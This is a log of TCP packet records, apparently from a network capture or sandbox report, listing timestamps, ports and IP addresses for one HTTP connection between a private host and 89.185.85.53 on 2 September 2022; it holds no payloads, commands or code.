Sep 2, 2022 14:03:31.634896994 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.634913921 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.634916067 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.634934902 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.634951115 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.635782003 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.635818958 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.635844946 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.635854959 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.635868073 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.635870934 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.635890961 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.635919094 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.635930061 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.635941982 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.635962963 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.635979891 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.636285067 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.636311054 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.636333942 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.636348963 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.636356115 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.636358976 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.636378050 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.636379957 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.636396885 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.636404037 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.636418104 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.636449099 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.637307882 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.637340069 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.637382030 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.637398958 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.638542891 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.638580084 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.638628006 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.638643980 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.640953064 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.641072035 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.641086102 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.641115904 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.641133070 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.641140938 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.641154051 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.641166925 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.641179085 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.641199112 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.641211987 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.641222954 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.641242027 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.641247034 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.641272068 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.641273022 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.641294003 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.641298056 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.641311884 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.641320944 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.641335011 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.641359091 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.642087936 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.642126083 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.642149925 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.642173052 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.642195940 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.642220974 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.642230988 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.642245054 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.642246962 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.642250061 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.642252922 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.642256021 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.642258883 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.642271042 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.642281055 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.642296076 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.642309904 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.642318010 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.642343998 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.642373085 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643151999 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643189907 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643215895 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643217087 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643238068 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643239975 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643254042 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643265963 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643266916 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643285990 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643290043 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643304110 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643313885 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643326044 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643337011 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643367052 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643374920 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643378019 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643418074 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643661022 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643685102 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643706083 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643728018 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643752098 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643776894 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643776894 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643793106 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643805981 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643829107 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643852949 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643867016 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643873930 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643874884 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643901110 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643903971 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643923998 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643924952 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643939972 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643944979 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643963099 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643966913 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.643980980 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.643985033 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644000053 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644013882 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644021034 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644038916 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644042015 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644057989 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644074917 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644092083 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644109964 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644121885 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644128084 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644149065 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644154072 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644169092 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644176960 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644186974 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644205093 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644207001 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644222021 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644231081 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644241095 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644258976 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644263029 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644278049 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644287109 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644294024 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644311905 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644319057 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644330978 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644346952 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644351959 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644366026 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644368887 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644383907 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644393921 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644404888 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644411087 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644423962 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644428968 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644442081 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644448042 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644460917 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644465923 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644479036 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644485950 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644498110 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644501925 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644515991 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644517899 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644534111 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644534111 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644551992 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644551992 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644571066 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644577026 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644589901 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644596100 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644608021 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644612074 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644625902 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644629955 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644644976 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644650936 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644663095 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644668102 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644680977 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644685030 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644700050 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644702911 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644717932 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644722939 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644736052 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644738913 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644754887 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644757986 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644773006 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644777060 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644793034 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644794941 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644810915 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644819975 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644829988 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644836903 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644849062 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644854069 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644866943 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644871950 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644885063 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644891024 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644902945 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644920111 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644928932 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644934893 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644938946 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644946098 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644956112 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644963026 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644974947 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.644980907 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.644994020 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645001888 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645010948 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645020962 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645028114 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645035982 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645045996 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645055056 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645064116 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645073891 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645081043 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645090103 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645100117 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645107985 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645117044 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645126104 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645134926 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645143986 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645152092 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645163059 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645170927 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645179033 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645189047 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645196915 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645205975 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645215034 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645222902 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645231962 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645243883 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645247936 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645262003 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645266056 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645279884 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645279884 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645298004 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645301104 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645317078 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645318031 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645334005 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645337105 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645351887 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645353079 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645370960 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645389080 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645785093 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645803928 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645821095 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645838022 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645842075 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645855904 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645874023 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645881891 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645894051 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645910978 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645921946 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645926952 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.645936966 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.645972967 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.646893024 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.646935940 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.646959066 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.646977901 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.646982908 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.646991014 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.647006989 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.647007942 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.647028923 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.647032022 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.647042036 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.647066116 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.647130013 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.647156954 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.647176981 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.647181034 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.647190094 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.647207022 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.647214890 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.647242069 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.647783041 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.647819996 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.647851944 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.647866011 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.648350954 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.648382902 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.648406029 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.648420095 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.648428917 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.648430109 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.648442984 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.648457050 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.648467064 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.648480892 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.648493052 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.648519039 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.649410963 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.649450064 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.649472952 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.649497032 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.649501085 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.649508953 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.649519920 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.649523973 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.649538040 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.649545908 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.649559021 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.649570942 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.649581909 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.649597883 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.649606943 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.649620056 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.649632931 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.649645090 CEST	80	49827	89.185.85.53	192.168.2.6
